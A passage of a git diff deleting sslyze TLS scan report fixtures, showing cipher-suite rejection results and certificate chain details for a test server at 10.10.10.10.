connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "DHE-RSA-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "DHE-RSA-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CCM_8", - "openssl_name": "DHE-RSA-AES256-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CCM", - "openssl_name": "DHE-RSA-AES256-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "DHE-RSA-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CCM_8", - "openssl_name": "DHE-RSA-AES128-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CCM", - "openssl_name": "DHE-RSA-AES128-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "DHE-RSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "DHE-DSS-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "DHE-DSS-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384", - "openssl_name": "DHE-DSS-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", - "openssl_name": "DHE-DSS-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256", - "openssl_name": "DHE-DSS-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256", - "openssl_name": "DHE-DSS-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_2" - }, - "status": "COMPLETED" - }, - "tls_1_3_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_CHACHA20_POLY1305_SHA256", - "openssl_name": "TLS_CHACHA20_POLY1305_SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_AES_256_GCM_SHA384", - "openssl_name": "TLS_AES_256_GCM_SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_GCM_SHA256", - "openssl_name": "TLS_AES_128_GCM_SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_CCM_SHA256", - "openssl_name": "TLS_AES_128_CCM_SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_AES_128_CCM_8_SHA256", - "openssl_name": "TLS_AES_128_CCM_8_SHA256" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_3" - }, - "status": "COMPLETED" - }, - "tls_1_3_early_data": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "tls_compression": { - "error_reason": null, - "error_trace": null, - "result": { - "supports_compression": false - }, - "status": "COMPLETED" - }, - "tls_fallback_scsv": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - } - }, - "scan_status": "COMPLETED", - "server_location": { - "connection_type": "DIRECT", - "hostname": "10.10.10.10", - "http_proxy_settings": null, - "ip_address": "10.10.10.10", - "port": 443 - }, - "uuid": "cd735bc5-1f63-46d6-94b8-01b17098d616" - } - ], - "sslyze_url": "https://github.com/nabla-c0d3/sslyze", - "sslyze_version": "5.0.1" -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/sslyze/vulnerabilities.json b/src/backend/testing/data/reports/sslyze/vulnerabilities.json deleted file mode 100644 index 9e9a7ee52..000000000 --- a/src/backend/testing/data/reports/sslyze/vulnerabilities.json +++ /dev/null @@ -1,6399 +0,0 @@ -{ - "date_scans_completed": "2022-02-18T16:58:25.777455", - "date_scans_started": "2022-02-18T16:57:50.120548", - "server_scan_results": [ - { - "connectivity_error_trace": null, - "connectivity_result": { - "cipher_suite_supported": "ECDHE-RSA-AES256-SHA384", - "client_auth_requirement": "DISABLED", - "highest_tls_version_supported": "TLS_1_2", - "supports_ecdh_key_exchange": true - }, - "connectivity_status": "COMPLETED", - "network_configuration": { - "network_max_retries": 3, - "network_timeout": 5, - "tls_client_auth_credentials": null, - "tls_opportunistic_encryption": null, - "tls_server_name_indication": "10.10.10.10", - "xmpp_to_hostname": null - }, - "scan_result": { - "certificate_info": { - "error_reason": null, - "error_trace": null, - "result": { - "certificate_deployments": [ - { - "leaf_certificate_has_must_staple_extension": false, - "leaf_certificate_is_ev": false, - "leaf_certificate_signed_certificate_timestamps_count": 3, - "leaf_certificate_subject_matches_hostname": false, - "ocsp_response": { - "certificate_status": "GOOD", - "next_update": "2022-02-24T11:42:01", - "produced_at": "2022-02-17T12:42:27", - "response_status": "SUCCESSFUL", - "revocation_time": null, - "serial_number": 6081365925011041274511708029397455354, - "this_update": "2022-02-17T12:27:01" - }, - "ocsp_response_is_trusted": true, - "path_validation_results": [ - { - "openssl_error_string": null, - "trust_store": { - "ev_oids": null, - "name": "Android", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/google_aosp.pem", - "version": "12.0.0_r9" - }, - "verified_certificate_chain": [ - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIHbjCCBlagAwIBAgIQBJM6fUHhvi3C1z6HHJtR+jANBgkqhkiG9w0BAQsFADBN\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E\naWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwNzIxMDAwMDAwWhcN\nMjIwOTA4MTIwMDAwWjBtMQswCQYDVQQGEwJVUzESMBAGA1UECBMJVGVubmVzc2Vl\nMRAwDgYDVQQHEwdNZW1waGlzMR0wGwYDVQQKExRXZWJOZXQgTWVtcGhpcywgSW5j\nLjEZMBcGA1UEAwwQKi53b3JsZHNwaWNlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKbE6X+zlcl1DN4r1kDYUdTc5v/uIf/471xSnM6jgcTnnR/Y\n5YeOiQ6qXJMb7z3zvltZGfTGPEqlwZwUOvwjj0nBVvH7SZt9sQo6hEbMskFZKCOF\nqqtXruXscrnL2dLwr5xKJGYFly09rLGwosFTogIBhUy0M2dyNjTAmOUMlfXlJmDH\npmvx+ODJH3Kkem3LiqhYkut64Oa4So2G9vjeHBPVhNrioVFqEBaZRscpvUAsDjm5\nxrPutH6jsmFK67QLM2VCm+RhH71RAo2ow8IQYM1INj2GFiCKundctt1WrFKHha86\nLvjDYh9a4STThuknInX2RR4yjx7T5h4O8Bo/TFsCAwEAAaOCBCgwggQkMB8GA1Ud\nIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBT+moyCnw8t+ue0\n44Cp0zjyGOBiBDCB6gYDVR0RBIHiMIHfghAqLndvcmxkc3BpY2UubmV0ghNtYWls\nLndvcmxkc3BpY2UubmV0ghVuYWdpb3Mud29ybGRzcGljZS5uZXSCEm9zcy53b3Js\nZHNwaWNlLm5ldIITaW1hcC53b3JsZHNwaWNlLm5ldIITc210cC53b3JsZHNwaWNl\nLm5ldIIbY29udHJvbHBhbmVsLndvcmxkc3BpY2UubmV0ghRzdGFmZi53b3JsZHNw\naWNlLm5ldIIec2VjdXJlLWNvbW1lcmNlLndvcmxkc3BpY2UubmV0gg53b3JsZHNw\naWNlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG\nAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv\nbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j\nb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG\nCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC\nAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj\nZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29t\nL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB\nfQYKKwYBBAHWeQIEAgSCAW0EggFpAWcAdgBGpVXrdfqRIDC1oolp9PN9ESxBdL79\nSbiFq/L8cP5tRwAAAXNx8GtxAAAEAwBHMEUCICqvgaan2BWQ7bDmOT/xpmV47IKP\nZ21+RjdS9smFzdfHAiEA6Ehxwo+1FpzL27vJEqbrkpPxPqz+2IjcAt8ammrNdikA\ndgAiRUUHWVUkVpY/oS/x922G4CMmY63AS39dxoNcbuIPAgAAAXNx8GtVAAAEAwBH\nMEUCIAxQnsUwQoym7eUbfDqYEaYR9Ldrvpfqyw5gby3lEYxLAiEAlOX/U7jMUrBr\nq6aRtRGUKMHFxngOl7GdEOy1wCJ9JT8AdQBRo7D1/QF5nFZtuDd4jwykeswbJ8v3\nnohCmg3+1IsF5QAAAXNx8GuxAAAEAwBGMEQCIA6qEhLulmy7t/2vBJTR3fsLIMJV\n3WRYE2KQYbwUHBEYAiAPzNeBWzg2gNDj9gmuUXyl7M96IPz86oZCkClSZ5yvpDAN\nBgkqhkiG9w0BAQsFAAOCAQEADlFP6eckleQbC9eI2AxQQyeKB6ADuj9HLfB05LRk\nr80Q0M5VBXin9YC9MIixAz43l49REyjLtVpGJ9fa/VJ/DKEXocGcYBPbySVciaKo\nrPW3LQW1rR7iedbMMgAkw0jjAA6UsocQsIpus5qWaqLerxgsKB8Ahu2wk/GAJGmz\nLSLNs/u2YGoApqSZOwxHtwLBXL3zNsA9AYYsqaGsJVhIxlnZqWySeCuWyQBt+qpz\nO+FYbCH1HumuRvvKs4H+ARLign6kdfxylkr8gou7Fe2Hsn9S2cBhEVKIombtQehD\nZxi3SWcoj8o5fDWhZjg0dmY8nx5ky1xCFFJeQLkRyE/BqA==\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "rCzunnJALCiEKzQ8keOhaDGd6OQ=", - "fingerprint_sha256": "Y3n3zh59kDWKUfyJ1Ew4VIK7BYV30mNnlvaeblg3Wf8=", - "hpkp_pin": "WLmhHopnGYHmVPHKEMCFDbxItZxVAXJE/CpFq6BR0Y8=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2022-09-08T12:00:00", - "not_valid_before": "2020-07-21T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 21052659602255636463538604647483749083515783089354242919067607619891951544427250980336374825268779596384030518649395968955553782395797388856032198774804646888901144118084148242622415305320662219271757619765791183438231099173675613273193512870117241466504369146052945029478603452407803692169792805208746352111150625572780753798980367973665773178858389992631996208264389944444721807567186793884705261613035042029937107705315620324407956878261811133260057255526701083076159431836981185206821747532225772312315999426303261173474985586583915107121043115994270762278138797153452063565151899901600082563820770139677252340827 - }, - "serial_number": 6081365925011041274511708029397455354, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.8", - "name": "stateOrProvinceName" - }, - "rfc4514_string": "ST=Tennessee", - "value": "Tennessee" - }, - { - "oid": { - "dotted_string": "2.5.4.7", - "name": "localityName" - }, - "rfc4514_string": "L=Memphis", - "value": "Memphis" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=WebNet Memphis\\, Inc.", - "value": "WebNet Memphis, Inc." - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=*.worldspice.net", - "value": "*.worldspice.net" - } - ], - "rfc4514_string": "CN=*.worldspice.net,O=WebNet Memphis\\, Inc.,L=Memphis,ST=Tennessee,C=US" - }, - "subject_alternative_name": { - "dns": [ - "*.worldspice.net", - "mail.worldspice.net", - "nagios.worldspice.net", - "oss.worldspice.net", - "imap.worldspice.net", - "smtp.worldspice.net", - "controlpanel.worldspice.net", - "staff.worldspice.net", - "secure-commerce.worldspice.net", - "worldspice.net" - ] - } - }, - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIg\nU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB\nANyuWJBNwcQwFZA1W248ghX1LFy949v/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83\nnf36QYSvx6+M/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bd\nKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza/P96rtxcflUxDOg5B6TXvi/TC2rSsd9f\n/ld0Uzs1gN2ujkSYs58O09rg1/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGX\nkujNVA075ME/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\n/RR3w6RbKFfCs/mC/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB/wQIMAYBAf8C\nAQAwDgYDVR0PAQH/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYY\naHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6\nLy9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1\noDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RD\nQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v\nd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzh\nxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEB\nCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl\n5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq/sELfeNqzqPlt/yGFUzZgTHbO7Djc1lGA\n8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls/3HB40f/1LkAtDdC\n2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPit\nc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0\nj6tJLp07kzQoH3jOlOrHvdPJbRzeXDLz\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "H7hrEWjsdDFUBi6MnMWxcaS3zLQ=", - "fingerprint_sha256": "FUxDPEkZKcXvaG6DjjI2ZKAOag2CLMyVj7TasD5JoI8=", - "hpkp_pin": "5kJvNEMw0KjrCAu7eXY5HZdvyCS13BbA0VJG1RSP91w=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2023-03-08T12:00:00", - "not_valid_before": "2013-03-08T12:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 27858400285679723188777933283712642951289579686400775596360785472462618845441045591174031407467141927949303967273640603370583027943461489694611514307846044788608302737755893035638149922272068624160730850926560034092625156444445564936562297688651849223419070532331233030323585681010618165796464257277453762819678070632408347042070801988771058882131228632546107451893714991242153395658429259537934263208634002792828772169217510656239241005311075681025394047894661420520700962300445533960645787118986590875906485125942483622981513806162241672544997253865343228332025582679476240480384023017494305830194847248717881628827 - }, - "serial_number": 2646203786665923649276728595390119057, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "subject_alternative_name": { - "dns": [] - } - }, - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\nb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG\n9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB\nCSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97\nnh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt\n43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P\nT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4\ngdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO\nBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR\nTLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw\nDQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr\nhMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg\n06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF\nPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls\nYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\nCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "qJhdOmXl5cSy19ZtQMbdL7GcVDY=", - "fingerprint_sha256": "Q0ig6URMeMsmXgWNXolEtNhPlmK9Jtslf4k0pEPHAWE=", - "hpkp_pin": "r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2031-11-10T00:00:00", - "not_valid_before": "2006-11-10T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 28559384442792876273280274398620578979733786817784174960112400169719065906301471912340204391164075730987771255281479191858503912379974443363319206013285922932969143082114108995903507302607372164107846395526169928849546930352778612946811335349917424469188917500996253619438384218721744278787164274625243781917237444202229339672234113350935948264576180342492691117960376023738627349150441152487120197333042448834154779966801277094070528166918968412433078879939664053044797116916260095055641583506170045241549105022323819314163625798834513544420165235412105694681616578431019525684868803389424296613694298865514217451303 - }, - "serial_number": 10944719598952040374951832963794454346, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.5", - "name": "sha1WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 20, - "name": "sha1" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" 